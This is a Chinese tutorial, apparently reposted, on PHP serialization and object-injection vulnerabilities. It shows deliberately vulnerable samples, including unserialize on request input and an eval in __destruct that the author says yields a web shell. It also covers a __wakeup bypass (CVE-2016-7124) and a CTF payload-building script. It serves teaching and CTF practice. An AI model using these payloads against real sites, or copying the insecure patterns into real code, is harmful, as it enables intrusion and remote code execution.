首頁  >  文章  >  後端開發  >  詳解之php反序列化

詳解之php反序列化

coldplay.xixi
coldplay.xixi轉載
2020-07-11 17:49:379847瀏覽

詳解之php反序列化

1  前言

最近也是在複習之前學過的內容,感覺對PHP反序列化的理解更深了,所以在這裡總結一下

2  serialize()函數

     「所有php裡面的值都可以使用函數serialize()來傳回一個包含字節流的字串來表示。序列化一個物件將會保存物件的所有變量,但是不會保存物件的方法,只會保存類別的名字。」

一開始看這個概念可能有些懵,但之後也是慢慢理解了

在程式執行結束時,內存數據便會立即銷毀,變量所儲存的數據便是內存數據,而文件、數據庫是“持久數據”,因此PHP序列化就是將記憶體的變數資料「保存」到檔案中的持久性資料的過程。

相關學習推薦:PHP程式設計從入門到精通

 $s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

下面透過一個具體的例子來了解序列化:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39;is&#39;.$this->age.&#39;years old. <br />&#39;;
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = &#39;daye&#39;;

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

這個是結果:

可以看到序列化一個物件後將會保存物件的所有變量,並且發現序列化後的結果都有一個字符,這些字元都是以下字母的縮寫。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

了解了縮寫的類型字母,便可以得到PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

透過以上例子,便可以理解了概念中的透過serialize()函數傳回一個包含位元組流的字串這一段話。

3  u​​nserialize()函數

#unserialize() 對單一的已序列化的變數進行操作,將其轉換回PHP 的值。在解序列化一個物件之前,這個物件的類別必須在解序列化之前定義。 

簡單來理解起來就算將序列化過儲存到檔案中的數據,恢復到程式碼的變數表示形式的過程,恢復到變數序列化之前的結果。

 $s = file_get_contents(‘./目标文本文件&#39;); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

透過一個例子來了解反序列化:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39; is &#39;.$this->age.&#39; years old. <br />&#39;;
  }
}
//重建对象
$user = unserialize(&#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}&#39;);

$user->PrintData();

?>

這個是結果:

##注意:在解序列化一個物件之前,這個物件的類別必須在解序列化之前定義。否則會報錯

4  PHP反序列化漏洞

在學習漏洞前,先來了解PHP魔法函數,對接下來的學習會很有幫助

PHP 將所有以__(兩個底線)開頭的類別方法保留為魔術方法

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

這裡只列出了一部分的魔法函數,

下面透過一個例子來了解魔法函數被自動呼叫的過程

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array(&#39;varr1&#39;,&#39;varr2&#39;);
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

這個是結果:

透過這個例子就可以清晰的看到魔法函數在符合對應的條件時就會被呼叫。

5  物件注入

當使用者的請求在傳給反序列化函數unserialize()之前沒有被正確的篩選時就會產生漏洞。因為PHP允許物件序列化,攻擊者就可以提交特定的序列化的字串給一個具有該漏洞的unserialize函數,最終導致一個在該應用範圍內的任意PHP物件注入。

物件漏洞出現得符合兩個前提:

       一、unserialize的參數可控制。 

       二、 程式碼裡有定義一個含有魔術方法的類,且該方法裡出現一些使用類別成員變數作為參數的存在安全問題的函數。

下面來舉個例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

例如這個列子,直接是使用者產生的內容傳遞給unserialize()函數,那就可以建構這樣的語句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在腳本運行結束後便會呼叫_destruct函數,同時會覆寫test變數輸出lemon。

發現這個漏洞,便可以利用這個漏洞點控制輸入變量,拼接成一個序列化物件。

再看一個例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

其實仔細觀察就會發現,其實我們手動建構序列化物件就是為了unserialize()函數能夠觸發__destruc()函數,然後執行在_ _destruc()函數裡惡意的語句。

所以我們利用這個漏洞點便可以取得web shell了

#6  繞過魔法函數的反序列化

wakeup()魔法函式繞過

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

    (1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = &#39;Gu3ss_m3_h2h2.php&#39;;

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != &#39;Gu3ss_m3_h2h2.php&#39;) {
      //the secret is in the f15g_1s_here.php
      $this->file = &#39;Gu3ss_m3_h2h2.php&#39;;
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo(&#39;f15g_1s_here.php&#39;);
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace(&#39;O:4:&#39;,&#39;O:+4:&#39;,$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(&#39;:1:&#39;,&#39;:2:&#39;,$a);
#再进行base64编码
echo base64_encode($a);
?>

以上是詳解之php反序列化的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:jb51.net。如有侵權,請聯絡admin@php.cn刪除